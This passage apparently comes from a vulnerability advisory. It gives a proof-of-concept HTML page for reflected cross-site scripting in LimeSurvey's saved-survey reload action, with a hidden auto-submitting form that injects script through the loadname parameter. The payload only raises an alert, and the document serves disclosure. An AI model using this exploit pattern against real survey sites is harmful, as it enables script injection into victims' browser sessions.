## 1.6 XSS Injection in the reload saved survey action

Vulnerable parameters: **loadname, loadpass, scid**

```
<html>
  <head><title>poc: XSS Injection (reload saved survey)</title></head>
  <body>
    <img src="https://limesurvey.[redacted]/index.php?sid=51928" border=0 onerror="
    done();">
    <script>
      function done() {
        document.forms["xssme"].submit();
      }
    </script>
    <form id="xssme" action="https://limesurvey.[redacted]/index.php" method="POST">
      <input type="hidden" name="move" value="movenext" />
      <input type="hidden" name="sid" value="51928" />
      <input type="hidden" name="loadall" value="Zwischengespeicherte&#32;Umfrage&#32;
      laden" />
      <input type="hidden" name="scid" value="xyz" />
      <input type="hidden" name="loadpass" value="xyz" />
      <!-- payload --><input type="hidden" name="loadname" value="'><script>alert('XSS
      Injection');</script><input type='hidden' value='" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
```